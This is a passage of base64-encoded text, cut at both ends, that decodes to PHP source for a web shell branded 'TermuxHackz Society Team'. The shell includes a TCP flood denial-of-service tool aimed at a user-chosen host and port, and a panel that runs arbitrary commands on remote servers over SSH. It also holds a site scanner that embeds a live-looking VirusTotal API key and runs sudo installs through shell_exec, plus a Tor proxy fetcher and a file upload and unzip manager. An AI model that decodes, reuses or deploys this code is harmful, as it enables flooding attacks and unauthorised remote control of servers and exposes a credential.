hpc3NldCgkX0dFVFsnaG9zdCddKSYmaXNzZXQoJF9HRVRbJ3RpbWUnXSkpew0KICAgICAgICAkcGFja2V0cyA9IDA7DQogICAgICAgIGlnbm9yZV91c2VyX2Fib3J0KEZBTFNFKTsNCiAgICAgICAgc2V0X3RpbWVfbGltaXQoMCk7DQogICAgICAgDQogICAgICAgICRleGVjX3RpbWUgPSAkX0dFVFsndGltZSddOw0KICAgICAgIA0KICAgICAgICAkdGltZSA9IHRpbWUoKTsNCiAgICAgICBlY2hvICJTdGFydGVkOiAiLnRpbWUoJ2QtbS15IGg6aTpzJykuIjxicj4iOw0KICAgICAgICAkbWF4X3RpbWUgPSAkdGltZSskZXhlY190aW1lOw0KICAgICANCiAgICAgICAgJGhvc3QgPSAkX0dFVFsnaG9zdCddOw0KICAgICAgICAkcG9ydCA9ICRfR0VUWydwb3J0J107DQogICAgICAgDQogICAgICAgIGZvcigkaT0wOyRpPDY1MDAwOyRpKyspew0KICAgICAgICAgICAgICAgICRvdXQgLj0gJ1gnOw0KICAgICAgICB9DQogICAgICAgIHdoaWxlKDEpew0KICAgICAgICAkcGFja2V0cysrOw0KICAgICAgICAgICAgICAgIGlmKHRpbWUoKSA+ICRtYXhfdGltZSl7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgJGZwID0gZnNvY2tvcGVuKCd0Y3A6Ly8nLiRob3N0LCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCA1KTsNCiAgICAgICAgICAgICAgICBpZigkZnApew0KICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJG91dCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPGNlbnRlcj48YnI+PGI+PGZvbnQgY29sb3I9bGlnaHRncmVlbiBzaXplPTYgZmFjZT1BcmlhbD5UQ1AgRmxvb2QgYnkgVGVybXV4SGFja3ogU29jaWV0eSBUZWFtPC9iPjxicj5Db21wbGV0ZWQgd2l0aCAkcGFja2V0cyAoIiAuIHJvdW5kKCgkcGFja2V0cyo2NSkvMTAyNCwgMikgLiAiIE1CKSBwYWNrZXRzIGF2ZXJhZ2luZyAiLiByb3VuZCgkcGFja2V0cy8kZXhlY190aW1lLCAyKSAuICIgcGFja2V0cyBwZXIgc2Vjb25kIFxuPC9mb250PiI7DQogICAgICAgIGVjaG8gJzxicj48YnI+DQogICAgICAgIA0KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSInLiRzdXJsLiciIG1ldGhvZD1HRVQ+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InBocHRvb2xzIj4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPGZvbnQgY29sb3I9b3JhbmdlPklQOiA8L2ZvbnQ+PGJyPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1ob3N0Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgPGZvbnQgY29sb3I9b3JhbmdlPlBvcnQ6IDwvZm9udD48YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBvcnQ+PGJyPiANCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPGZvbnQgY29sb3I9b3JhbmdlPkxlbmd0aCAoc2Vjb25kcyk6PC9mb250PiA8YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRpbWU+PGJyPg0KICAgICAgICAgICAgDQogICAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9R28+PC9mb3JtPic7DQogICAgICAgICAgICANCiAgICB9ZWxzZXsgZWNobyAnPGNlbnRlcj48YnI+PGI+PGZvbnQgY29sb3I9InRlYWwiIHNpemU9IjYiPlRDUCBGbG9vZCBCeSBUZXJtdXhIYWNreiBTb2NpZXR5IFRlYW08L2ZvbnQ+PC9iPjxicj48YnI+DQogICAgDQogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPT8gbWV0aG9kPUdFVD4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJwaHB0b29scyI+DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9b3JhbmdlPklQOiA8L2ZvbnQ+PGJyPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1ob3N0IHBsYWNlaG9sZGVyPTEyNy4wLjAuMSByZXF1aXJlZD48YnI+DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9b3JhbmdlPlBvcnQ6IDwvZm9udD48YnI+PGlucHV0IHR5cGU9dGV4dCBwbGFjZWhvbGRlcj0yNSBuYW1lPXBvcnQgcmVxdWlyZWQ+PGJyPg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPW9yYW5nZT5MZW5ndGggKHNlY29uZHMpOiA8L2ZvbnQ+PGJyPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10aW1lIHBsYWNlaG9sZGVyPTUgcmVxdWlyZWQ+PGJyPjxicj4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgaWQ9YnV0dG9uIHZhbHVlPT4gPC9mb3JtPg0KICAgICAgICAgICAgICAgIDwvY2VudGVyPic7DQogICAgfQ0KICAgID8+DQogICAgCTw/cGhwDQogICAgCX0gDQogICAgCT8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KaWYoaXNzZXQoJF9HRVRbJ3NzaF9jb24nXSkpIHsNCj8+DQoJPGNlbnRlcj48YnI+PGZvbnQgc2l6ZT0iNSIgY29sb3I9InRlYWwiIGZhY2U9IkFyaWFsIj5FeGVjdXRlIFNzaCBDb21tYW5kcyBvbiByZW1vdGUgU2VydmVyIDwvZm9udD48YnI+PGJyPg0KCQk8Zm9ybSBtZXRob2Q9InBvc3QiPg0KCQkJPGxhYmVsPkVudGVyIElwL2hvc3RuYW1lOiA8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0X25hbWUiIHBsYWNlaG9sZGVyPSJFbnRlciBJcC9ob3N0bmFtZSBvZiBTc2ggc2VydmVyIi8+PGJyLz48YnI+DQoJCQk8bGFiZWw+RW50ZXIgVXNlcm5hbWU6IDwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJfbmFtZSIgcGxhY2Vob2xkZXI9IkVudGVyIHVzZXJuYW1lIG9mIFNzaCBzZXJ2ZXIgeW91IGFyZSB0cnlpbmcgdG8gY29ubmVjdCB0by4uICIvPjxiciAvPjxicj4NCgkJCTxsYWJlbD5FbnRlciBQYXNzd29yZDogPC9sYWJlbD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3Nfd29yZCIgcGxhY2Vob2xkZXI9IkVudGVyIHBhc3N3b3JkIHlvdSBhcmUgY29ubmVjdGluZyBhcyBvbiB0aGUgc3NoIHNlcnZlci4uICIvPjxici8+PGJyPjxicj4NCgkJCQk8Zm9udCBzaXplPSI0IiBjb2xvcj0id2hpdGUiPkVudGVyIENvbW1hbmRzIHRvIGV4ZWN1dGUgPC9mb250Pjxicj4NCgkJCTx0ZXh0YXJlYSByb3dzPSIxMCIgY29scz0iNTAiIG5hbWU9ImNvbW1hbmQiIHBsYWNlaG9sZGVyPSJFbnRlciBjb21tYW5kIHRvIGV4ZWN1dGUgb24gdGhlIHNzaCBzZXJ2ZXIuLi4gIj48L3RleHRhcmVhPjxici8+PGJyPg0KCQkJPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdF9zc2giIGlkPSJidXR0b24iPiA8L2J1dHRvbj4NCgkJCTwvZm9ybT48YnI+DQoJCQkJPD9waHANCgkJCQlpZihpc3NldCgkX1BPU1RbJ3N1Ym1pdF9zc2gnXSkpIHsNCiRzZXJ2ZXIgICA9ICRfUE9TVFsnaG9zdF9uYW1lJ107IC8vIHNlcnZlciBJUC9ob3N0bmFtZSBvZiB0aGUgU1NIIHNlcnZlcg0KJHVzZXJuYW1lID0gJF9QT1NUWyd1c2VyX25hbWUnXTsgLy8gdXNlcm5hbWUgZm9yIHRoZSB1c2VyIHlvdSBhcmUgY29ubmVjdGluZyBhcyBvbiB0aGUgU1NIIHNlcnZlcg0KJHBhc3N3b3JkID0gJF9QT1NUWydwYXNzX3dvcmQnXTsgLy8gcGFzc3dvcmQgZm9yIHRoZSB1c2VyIHlvdSBhcmUgY29ubmVjdGluZyBhcyBvbiB0aGUgU1NIIHNlcnZlcg0KJGNvbW1hbmQgID0gJF9QT1NUWydjb21tYW5kJ107IC8vIGNvdWxkIGJlIGFueXRoaW5nIGF2YWlsYWJsZSBvbiB0aGUgc2VydmVyIHlvdSBhcmUgU1NIJ2luZyB0bw0KDQovLyBFc3RhYmxpc2ggYSBjb25uZWN0aW9uIHRvIHRoZSBTU0ggU2VydmVyLiBQb3J0IGlzIHRoZSBzZWNvbmQgcGFyYW0uDQokY29ubmVjdGlvbiA9IHNzaDJfY29ubmVjdCgkc2VydmVyLCAyMik7DQoNCi8vIEF1dGhlbnRpY2F0ZSB3aXRoIHRoZSBTU0ggc2VydmVyDQpzc2gyX2F1dGhfcGFzc3dvcmQoJGNvbm5lY3Rpb24sICR1c2VybmFtZSwgJHBhc3N3b3JkKTsNCg0KLy8gRXhlY3V0ZSBhIGNvbW1hbmQgb24gdGhlIGNvbm5lY3RlZCBzZXJ2ZXIgYW5kIGNhcHR1cmUgdGhlIHJlc3BvbnNlDQokc3RyZWFtID0gc3NoMl9leGVjKCRjb25uZWN0aW9uLCAkY29tbWFuZCk7DQoNCi8vIFNldHMgYmxvY2tpbmcgbW9kZSBvbiB0aGUgc3RyZWFtDQpzdHJlYW1fc2V0X2Jsb2NraW5nKCRzdHJlYW0sIHRydWUpOw0KDQovLyBHZXQgdGhlIHJlc3BvbnNlIG9mIHRoZSBleGVjdXRlZCBjb21tYW5kIGluIGEgaHVtYW4gcmVhZGFibGUgZm9ybQ0KJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJHN0cmVhbSk7DQoNCi8vIGVjaG8gb3V0cHV0DQplY2hvICI8cHJlPnskb3V0cHV0fTwvcHJlPiI7DQplY2hvICI8L2NlbnRlcj4iOw0KfSANCj8+DQoJPD9waHANCgl9IA0KCT8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3NjYW5fc2l0ZSddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJ25vZGUnLCAwNjY2KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHJhdGEgPSAnY29uc3QgbnZ0ID0gcmVxdWlyZSgibm9kZS12aXJ1c3RvdGFsIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnN0IHByb21wdCA9IHJlcXVpcmUoInByb21wdC1zeW5jIikoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY29uc3Qgc2l0ZSA9IHByb21wdCgiRW50ZXIgU2l0ZSBuYW1lIHRvIHNjYW46ICIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICBjb25zdCByZXF1ZXN0ID0gbnZ0Lm1ha2VBUEkoKS5zZXRLZXkoIjcwZTc1NWE0Mjk0MGJkOGZlNjNmN2QyOTkwMTExNDQ5ODA2MTY0YTA3MzJlODJjMTlkZDM2YTFlZDdiOGY3ZTgiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgcmVxdWVzdC5kb21haW5Mb29rdXAoc2l0ZSwgZnVuY3Rpb24gKGVyciwgcmVzKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlcnIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY29uc29sZS5sb2coIlZpcnVzdG90YWwgQVBJIGRpZCBub3Qgd29yayBiZWNhdXNlOiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICBjb25zb2xlLmxvZyhlcnIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHJvYWQgPSBKU09OLnBhcnNlKHJlcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChyb2FkLmRhdGEuYXR0cmlidXRlcy5sYXN0X2FuYWx5c2lzX3Jlc3VsdHMuS2FzcGVyc2t5LnJlc3VsdCAhPSAiY2xlYW4iKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUubG9nKCJJdCBpcyBub3QgY2xlYW4sIGhhaGEgYnJvLCB5b3UgaGFkIGJldHRlciBiZSBjYXJlZnVsIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY29uc29sZS5sb2coIlRoZSBsaW5rIGlzIHNhZmUgYnJvIGhhaGEsIHlvdSBzY2FyZWQgWEQiICk7DQogICAgICAgICAgICAgICAgICAgICAgICAgIH19KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICRnZyA9IGZvcGVuKCdub2RlL3NjYW5fc2l0ZS5qcycsJ3cnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZ2csJHJhdGEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvcyA9ICd3aW4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9zID0gJ25peCc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG9zID09ICd3aW4nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJjb2xvcjogd2hpdGU7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDIwMCU7Ij5Pb29wcHBzcyBXaW5kb3dzIFNlcnZlciA6UDxicj5Zb3UgQmV0dGVyIEZpbmQgTGludXggdG8gdXNlIHRoaXMgZmVhdHVyZSA6UCA8L2ZvbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICA8L2NlbnRlcj48P3BocA0KICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGluc3RhbGwgPSAic3VkbyBhcHQgaW5zdGFsbCBub2RlanMiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW5zdGFsbDIgPSAic3VkbyBhcHQgaW5zdGFsbCBucG0iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW5zdGFsbDMgPSAibnBtIGluc3RhbGwgbm9kZS12aXJ1c3RvdGFsICYmIG5wbSBpbnN0YWxsIHByb21wdC1zeW5jIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGluc3RhbGw0ID0gIm5wbSBpbml0IC15IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBzaGVsbF9leGVjKCRpbnN0YWxsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBzaGVsbF9leGVjKCRpbnN0YWxsMik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gc2hlbGxfZXhlYygkaW5zdGFsbDMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHNoZWxsX2V4ZWMoJGluc3RhbGw0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBzaGVsbF9leGVjKCJjZCBub2RlICYmIG5vZGUgc2Nhbl9zaXRlLmpzIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgIH0/Pg0KICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgfSA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBSb3VuZGVkIHN3aXRjaCAtLT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnc3RhcnRfcHJveHknXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAJPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldF9kYXRhKCR1cmwsJHVzZVRvcikgew0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83MC4wLjM1MzguNjcgU2FmYXJpLzUzNy4zNicpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMjApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDEyMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEdFVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfTUFYUkVESVJTLCAxMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIEZBTFNFKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9FTkNPRElORywgIiIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0FVVE9SRUZFUkVSLCBUUlVFKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCBUUlVFKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgVFJVRSk7DQppZiAoJHVzZVRvcj09MSkgew0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BST1hZLCAnaHR0cDovL2xvY2FsaG9zdDo5MDUwJyk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUFJPWFlUWVBFLCA3KTsNCn0NCiRkYXRhID0gY3VybF9leGVjKCRjaCk7DQpjdXJsX2Nsb3NlKCRjaCk7DQpyZXR1cm4gJGRhdGE7DQp9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgID8+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnYXJjaGl2ZV9tYW5hZ2VyJ10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48Zm9udCBjb2xvcj0idGVhbCIgc2l6ZT0iNyIgZmFjZT0iQXJpYWwiPlRlcm11eEhhY2t6IEFyY2hpdmUgTWFuYWdlcjwvZm9udD48YnIvPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQk8ZGl2IGNsYXNzPSJjb2wtbWQtOCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQkJPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGZvbnQgY29sb3I9ImJsdWUiIHNpemU9IjUiPkFyY2hpdmUgYSBmaWxlIG9yIFppcCBhIGZpbGUocykgPC9mb250PjwvY2VudGVyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQkJCTxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIiB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRbXSIgbXVsdGlwbGUvPiA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgaWQ9ImJ1dHRvbiIgbmFtZT0ic3VibWl0Ij4gPC9idXR0b24+PGJyPg0KPGZvbnQgY29sb3I9InllbGxvdyIgc2l6ZT0iMyIgZmFjZT0iQXJpYWwiPk1vcmUgdGhhbiAyIGZpbGVzIGFyZSBhbGxvd2VkIF5fXiAgPC9mb250Pjxicj4NCiANCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCTwhLS0gQWRkIHRoZSB6aXAgZXhycmFjdG9yIGhlcmUgdG9vIC0tPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQk8YnIvPjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgPCEtLSBVbnppcCBzZWxlY3RlZCB6aXAgZmlsZSAtLT4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgIDxjZW50ZXI+PGZvbnQgY29sb3I9ImJsdWUiIHNpemU9IjUiPlVuemlwIGZpbGU8L2ZvbnQ+PC9jZW50ZXI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgCSA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgcmVxdWlyZWQgLz4gPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InVuemlwZmlsZSIgaWQ9ImJ1dHRvbiI+IDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgCSA8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJyLz4NCjw/cGhwICAgICAgICAgICAgICAgICAgICAgICAgDQogaWYoaXNzZXQoJF9QT1NUWyd1bnppcGZpbGUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIAlkZWZpbmUoJ19QQVRIJywgZGlybmFtZShfX0ZJTEVfXykpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAJLy8gVW56aXAgc2VsZWN0ZWQgemlwIGZpbGUNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgJGZpbGVuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgLy8gR2V0IGZpbGUgZXh0ZW5zaW9uDQogICAgICAgICAgICAgICAgICAgICAgICAJICRleHQgPSBwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgJHZhbGlkX2V4dCA9IGFycmF5KCd6aXAnKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAvLyBDaGVjayBleHRlbnNpb24NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkZXh0KSwkdmFsaWRfZXh0KSl7DQogICAgICAgICAgICAgICAgICAgICAgICAJICAkdG1wX25hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICRyZXMgPSAkemlwLT5vcGVuKCR0bXBfbmFtZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAJICBpZiAoJHJlcyA9PT0gVFJVRSkgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAJICAgLy8gVW56aXAgcGF0aA0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgICRwYXRoID0gX1BBVEguIi9FeHRyYWN0ZWRfRmlsZXMvIjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgIC8vIEV4dHJhY3QgZmlsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgICR6aXAtPmV4dHJhY3RUbygkcGF0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICAJICAgJHppcC0+Y2xvc2UoKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgIGVjaG8gJzxzY3JpcHQ+YWxlcnQoIkZpbGUgaGFzIGJlZW4gU3VjY2Vzc2Z1bGx5IHVuemlwcGVkIHRvIEV4dHJhY3RlZCBGaWxlcyBmb2xkZXIiKTwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAJICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgIGVjaG8gJzxzY3JpcHQ+YWxlcnQoImZhaWxlZCEgVG8gdW56aXAhISBeX14iKTwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAJICB9DQogICAgICAgICAgICAgICAgICAgICAgICAJIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgZWNobyAnPHNjcmlwdD5hbGVydCgiSW52YWxpZCBmaWxlIHR5cGUgb25seSB6aXAgZmlsZXMgYWxsb3dlZCIpPC9zY3JpcHQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgCT8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQk8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQlpZihJU1NFVCgkX1BPU1RbJ3N1Ym1pdCddKSl7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQkJCSRhcmNoaXZlID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQkJCSRhcmNoaXZlLT5vcGVuKCJGaWxlLnppcCIsIFppcEFyY2hpdmU6OkNSRUFURSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQkJCQkkZmlsZXMgPSAkX0ZJTEVTWyd1cGxvYWQnXTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJZm9yKCRpID0gMDsgJGkgPCBjb3VudCgkZmlsZXNbJ25hbWUnXSk7ICRpKyspew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJCSR0bXBfbmFtZSA9ICRmaWxlc1sndG1wX25hbWUnXVskaV07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQkJCQkJJGZpbGVuYW1lID0gJGZpbGVzWyduYW1lJ11bJGldOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQkJCQkJbW92ZV91cGxvYWRlZF9maWxlKCR0bXBfbmFtZSwgJGZpbGVuYW1lKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJCSRhcmNoaXZlLT5hZGRGaWxlKCIkZmlsZW5hbWUiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQkJCX0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJJGFyY2hpdmUtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJZWNobyAoJzxwPlN1Y2Nlc3NmdWxseSB1cGxvYWRlZCBhbmQgY29tcHJlc3NlZCB0aGUgZmlsZSBhcyBGaWxlLnppcCBhbmQgc2F2ZWQgdG86ICcuICBfX0RJUl9fIC4gJzwvcD4nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3